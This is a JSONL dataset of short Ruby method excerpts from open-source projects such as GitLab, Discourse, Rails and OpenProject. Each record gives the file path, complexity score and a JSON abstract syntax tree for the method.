{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":111,"raw_source":"def project_list_sort_by\n    @group_projects_sort || @sort || params[:sort] || sort_value_recently_created\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"project_list_sort_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_projects_sort\"]},{\"type\":\"ivar\",\"children\":[\"@sort\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sort_value_recently_created\"]}]}]}","id":"29874df7-cd7a-4fb1-b01c-78f3607e6bec"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/lib/discourse_reactions/topic_view_serializer_extension.rb","start_line":6,"raw_source":"def self.load_post_action_reaction_users_for_posts(post_ids)\n    PostAction\n      .joins(\n        \"LEFT JOIN discourse_reactions_reaction_users ON discourse_reactions_reaction_users.post_id = post_actions.post_id AND discourse_reactions_reaction_users.user_id = post_actions.user_id\",\n      )\n      .where(post_id: post_ids)\n      .where(\"post_actions.deleted_at IS NULL\")\n      .where(post_action_type_id: PostActionType::LIKE_POST_ACTION_ID)\n      .where(\n        \"post_actions.post_id IN (#{DiscourseReactions::PostActionExtension.post_action_with_reaction_user_sql})\",\n        valid_reactions: DiscourseReactions::Reaction.reactions_counting_as_like,\n      )\n      .reduce({}) do |hash, post_action|\n        hash[post_action.post_id] ||= {}\n        hash[post_action.post_id][post_action.id] = post_action\n        hash\n      end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_post_action_reaction_users_for_posts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN discourse_reactions_reaction_users ON discourse_reactions_reaction_users.post_id = post_actions.post_id AND discourse_reactions_reaction_users.user_id = post_actions.user_id\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"post_ids\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"post_actions.deleted_at IS NULL\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"LIKE_POST_ACTION_ID\"]}]}]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"post_actions.post_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"PostActionExtension\"]},\"post_action_with_reaction_user_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid_reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"Reaction\"]},\"reactions_counting_as_like\"]}]}]}]},\"reduce\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"post_action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"post_id\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"post_id\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"post_action\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"5c219949-ffd3-4b8f-9032-e8da808e4cb5"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/geojson/params.rb","start_line":30,"raw_source":"def process_feature_collection(json)\n    json['features'].map { |feature| process_feature(feature) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_feature_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"features\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"send\",\"children\":[null,\"process_feature\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}","id":"d8f0201f-d613-43ac-82a3-1e666682e7b5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/activities_tab_controller.rb","start_line":539,"raw_source":"def set_last_server_timestamp_to_headers\n    # Add server timestamp to response in order to let the client be in sync with the server\n    response.headers[\"X-Server-Timestamp\"] = get_current_server_timestamp\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_last_server_timestamp_to_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-Server-Timestamp\"]},{\"type\":\"send\",\"children\":[null,\"get_current_server_timestamp\"]}]}]}","id":"024c717a-c13e-4c60-aac0-8baaa03685bb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/invertible_migration_test.rb","start_line":287,"raw_source":"def test_migrate_up\n      migration = InvertibleMigration.new\n      migration.migrate(:up)\n      assert migration.connection.table_exists?(\"horses\"), \"horses should exist\"\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrate_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvertibleMigration\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"horses\"]}]},{\"type\":\"str\",\"children\":[\"horses should exist\"]}]}]}]}","id":"ded6820c-4547-44b2-8f86-f224f027dc07"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/google_sheets/client.rb","start_line":69,"raw_source":"def authorize_client(config)\n            credentials = config[:credentials_json]\n            @client = Google::Apis::SheetsV4::SheetsService.new\n            @client.authorization = Google::Auth::ServiceAccountCredentials.make_creds(\n              json_key_io: StringIO.new(credentials.to_json),\n              scope: GOOGLE_SHEETS_SCOPE\n            )\n          end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_client\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credentials\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"credentials_json\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Apis\"]},\"SheetsV4\"]},\"SheetsService\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"authorization=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Auth\"]},\"ServiceAccountCredentials\"]},\"make_creds\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_key_io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"to_json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"const\",\"children\":[null,\"GOOGLE_SHEETS_SCOPE\"]}]}]}]}]}]}]}","id":"f1df4548-9b7f-400d-b5da-94be5d816750"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":483,"raw_source":"def test_text_field\n    assert_dom_equal(\n      '<input id=\"post_title\" name=\"post[title]\" type=\"text\" value=\"Hello World\" />',\n      text_field(\"post\", \"title\")\n    )\n    assert_dom_equal(\n      '<input id=\"post_title\" name=\"post[title]\" type=\"password\" />',\n      password_field(\"post\", \"title\")\n    )\n    assert_dom_equal(\n      '<input id=\"post_title\" name=\"post[title]\" type=\"password\" value=\"Hello World\" />',\n      password_field(\"post\", \"title\", value: @post.title)\n    )\n    assert_dom_equal(\n      '<input id=\"person_name\" name=\"person[name]\" type=\"password\" />',\n      password_field(\"person\", \"name\")\n    )\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_text_field\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_title\\\" name=\\\"post[title]\\\" type=\\\"text\\\" value=\\\"Hello World\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"text_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_title\\\" name=\\\"post[title]\\\" type=\\\"password\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"password_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_title\\\" name=\\\"post[title]\\\" type=\\\"password\\\" value=\\\"Hello World\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"password_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"person_name\\\" name=\\\"person[name]\\\" type=\\\"password\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"password_field\",{\"type\":\"str\",\"children\":[\"person\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}","id":"a254ef6a-ca57-44a0-96e8-e14939391862"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/packagist.rb","start_line":48,"raw_source":"def execute(data)\n      return unless supported_events.include?(data[:object_kind])\n\n      execute_web_hook!(data)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_events\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_kind\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"execute_web_hook!\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"da4fabb3-2976-4836-8b46-11b4540887a9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":778,"raw_source":"def test_end_of_hour\n    utc = Time.utc(2000, 1, 1, 0, 30)\n    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)\n    assert_equal \"1999-12-31 19:30:00.000000000 EST -05:00\", twz.inspect\n    assert_equal \"1999-12-31 19:59:59.999999999 EST -05:00\", twz.end_of_hour.inspect\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_end_of_hour\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"utc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"utc\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 19:30:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 19:59:59.999999999 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"end_of_hour\"]},\"inspect\"]}]}]}]}","id":"4ef6e029-b5b7-4a79-905a-4b03fa86a710"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_range_literal.rb","start_line":35,"raw_source":"def check(node)\n          expression = node.source\n          op = node.loc.operator.source\n          escaped_op = op.gsub('.', '\\.')\n\n          # account for multiline range literals\n          expression.sub!(/#{escaped_op}\\n\\s*/, op)\n\n          return unless /(\\s#{escaped_op})|(#{escaped_op}\\s)/.match?(expression)\n\n          add_offense(node) do |corrector|\n            corrector.replace(\n              node, expression.sub(/\\s+#{escaped_op}/, op).sub(/#{escaped_op}\\s+/, op)\n            )\n          end\n        end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expression\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"op\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"operator\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"escaped_op\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_op\"]}]},{\"type\":\"str\",\"children\":[\"\\\\n\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"op\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\s\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_op\"]}]},{\"type\":\"str\",\"children\":[\")|(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_op\"]}]},{\"type\":\"str\",\"children\":[\"\\\\s)\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"expression\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_op\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"op\"]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_op\"]}]},{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"op\"]}]}]}]}]}]}","id":"55633a58-9f84-444e-ad40-50e5264ce892"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nexpose_simple_document.rb","start_line":272,"raw_source":"def record_service_fingerprint(attrs)\n      return unless in_tag(\"device\")\n      return unless in_tag(\"service\")\n      @state[:service][:fingerprint] = attr_hash(attrs)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"record_service_fingerprint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"device\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"service\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}]}","id":"b9eccbcb-1f1a-4861-9446-4466e346d0a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/tasks/rubocop_rake_spec.rb","start_line":182,"raw_source":"def with_inflections\n      original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]\n      ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)\n\n      yield\n    ensure\n      ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_inflections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@__instance__\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@__instance__\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"en\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original\"]},\"dup\"]}]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@__instance__\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"en\"]},{\"type\":\"lvar\",\"children\":[\"original\"]}]}]}]}]}]}","id":"0d5c552f-e1d2-4af9-bdbc-8d9726446e76"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project_queries/static.rb","start_line":82,"raw_source":"def static_query_archived\n      list_with(:\"projects.lists.archived\") do |query|\n        query.where(\"active\", \"=\", OpenProject::Database::DB_VALUE_FALSE)\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"static_query_archived\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_with\",{\"type\":\"sym\",\"children\":[\"projects.lists.archived\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"DB_VALUE_FALSE\"]}]}]}]}","id":"e4270c0e-28be-4bff-b03d-a4e65200be6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/reactive_cacheable_worker.rb","start_line":23,"raw_source":"def perform(class_name, id, *args)\n    klass = begin\n      class_name.constantize\n    rescue NameError\n      nil\n    end\n\n    return unless klass\n\n    klass\n      .reactive_cache_worker_finder\n      .call(id, *args)\n      .try(:exclusively_update_reactive_cache!, *args)\n  rescue ReactiveCaching::ExceededReactiveCacheLimit => e\n    Gitlab::ErrorTracking.track_exception(e)\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"constantize\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"reactive_cache_worker_finder\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"exclusively_update_reactive_cache!\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReactiveCaching\"]},\"ExceededReactiveCacheLimit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"8f2b7780-e167-411f-a299-54d6e2bb8df6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/notes_finder.rb","start_line":22,"raw_source":"def initialize(current_user, params = {})\n    @project = params[:project]\n    @current_user = current_user\n    @params = params.dup\n    @target_type = @params[:target_type]\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"dup\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_type\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_type\"]}]}]}]}]}","id":"72eefd49-23a1-40f6-b665-d147654da8e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":307,"raw_source":"def find_branch!(branch_name)\n      if Gitlab::GitRefValidator.validate(branch_name)\n        user_project.repository.find_branch(branch_name) || not_found!('Branch')\n      else\n        render_api_error!('The branch refname is invalid', 400)\n      end\n    end","complexity_score":9.93,"ast_json":"{\"type\":\"def\",\"children\":[\"find_branch!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitRefValidator\"]},\"validate\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_project\"]},\"repository\"]},\"find_branch\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[null,\"not_found!\",{\"type\":\"str\",\"children\":[\"Branch\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"str\",\"children\":[\"The branch refname is invalid\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}","id":"535369ad-d61f-47c4-9c67-1d5be7116760"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/link_strategy.rb","start_line":36,"raw_source":"def parse_value(val)\n    parsed_url(val)&.to_s\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_url\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},\"to_s\"]}]}","id":"8dc81061-0a6d-4f29-ad4a-5d53ad3a24e5"}
